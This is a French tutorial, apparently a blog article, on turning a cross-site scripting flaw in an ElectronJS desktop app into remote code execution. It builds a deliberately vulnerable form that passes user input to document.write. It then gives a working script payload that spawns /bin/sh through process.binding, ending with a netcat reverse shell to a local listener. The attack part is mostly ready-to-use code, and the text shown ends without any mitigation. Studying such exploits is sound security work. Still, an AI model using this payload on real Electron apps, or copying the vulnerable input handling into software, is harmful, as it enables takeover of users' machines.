From XSS to RCE with ElectronJS

Introduction

Cet article a pour but de vous montrer comment une XSS dans une application ElectronJS peut mener à une RCE (obtenir une invite de commande sur un hôte distant). ElectronJS est un framework permettant de créer des applications de bureau. Il est composé d’un frontend et d’un backend. Le frontend est fait à partir d’une base Chromium, son backend est en NodeJs le tout regroupé dans une seule application de Bureau.

Atom, Discord ou encore Slack sont des applications qui ont été faites grâce à Electron.

La théorie

Electron étant une application qui affiche des vues en HTML, que se passerait-il si quelqu’un arrivait à faire exécuter du Javascript à une application Electron via une XSS ?

Ce qu’il faut savoir, c’est que depuis le Javascript de la vue, il est possible d’éxecuter du code sur le backend. En effet, Electron étant une application de bureau, il est nécessaire de pouvoir effectuer des opérations sur le système.

Un attaquant qui aurait donc accès au HTML d’une application ElectronJS est en possibilité d’obtenir un shell sur l’ordinateur executant l’application.

Passons à la démonstration.

Création de notre application ElectronJS

Pour créer notre application Electron vous allez avoir besoin de NodeJs. Nous allons nous aider du quickstart laissé à disposition par Electron :

# Clonez le dépôt Quick Start
git clone https://github.com/electron/electron-quick-start

# Allez dans le dépôt
cd electron-quick-start

# Installez les dépendances et lancez l'app
npm install && npm start

Vous pourrez voir apparaître cette fenêtre :

L’architecture du dossier ressemble au suivant :

Nous allons modifier index.HTML afin qu’il simule un formulaire vulnérable à une XSS :

<!DOCTYPE HTML>
<HTML>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
  </head>
  <body>
	  <h1>XSS To RCE</h1>
	  <input id="text" type="text">
	  <button id="submit">Envoyer</button>

	  <script>
      	// You can also require other files to run in this process
     	 require('./renderer.js')
    </script>
    <script>
      var submit_button = document.querySelector("#submit");
      var input_text = document.querySelector("#text");

      submit_button.onclick = function(e){
        e.preventDefault();
        var texte = input_text.value;
        document.write(texte);
      };
    </script>
  </body>
</HTML>

On a donc un formulaire qui, quand on va envoyer une balise script va l’interpréter :

À noter qu’il est possible de charger directement une page distante comme vue dans ElectronJS, dans ce cas la probabilité de rencontrer une XSS est plus élevée car nous sommes dépendant de la sécurité du site duquel on charge la page.

Création de notre payload

Pour exploiter cette application nous allons avoir besoin de créer un processus qui nous permettra d’exécuter des commandes : Pour cela il existe une classe appelée Process.

Grâce à cet objet, avec la fonction spawn(), il est possible d’exécuter du code.

Ainsi on obtient le code suivant :

<script>
  var Process = process.binding('process_wrap').Process;
  var proc = new Process();
  proc.onexit = function(a, b) {};
  var env = process.env;
  var env_ = [];
  for (var key in env) env_.push(key+'='+env[key]);
  proc.spawn({file:'/bin/sh', args:['sh', '-c', '<votre code>'], cwd:null, windowsVerbatimArguments:false, detached:false, envPairs:env_, stdio:[{type:'ignore'}, {type:'ignore'}, {type:'ignore'}]});
</script>

(Merci à https://gist.github.com/thejh/a954777d023abd794e1fecb5d2791365 )

Exploitation

Maintenant que nous avons toutes les bases, récupérons une invite de commande sur la machine.

Dans une invite de commande lancer la commande :

nc -lvp 4444

Elle vous permettra d’écouter les connexions entrantes sur le port 4444.

Maintenant nous allons faire exécuter la payload nc -e /bin/bash 127.0.0.1 4444 sur le PC exécutant l’application Electron

<script>
  var Process = process.binding('process_wrap').Process;
  var proc = new Process();
  proc.onexit = function(a, b) {};
  var env = process.env;
  var env_ = [];
  for (var key in env) env_.push(key+'='+env[key]);
  proc.spawn({file:'/bin/sh', args:['sh', '-c', 'nc -e /bin/bash 127.0.0.1 4444'], cwd:null, windowsVerbatimArguments:false, detached:false, envPairs:env_, stdio:[{type:'ignore'}, {type:'ignore'}, {type:'ignore'}]});
</script>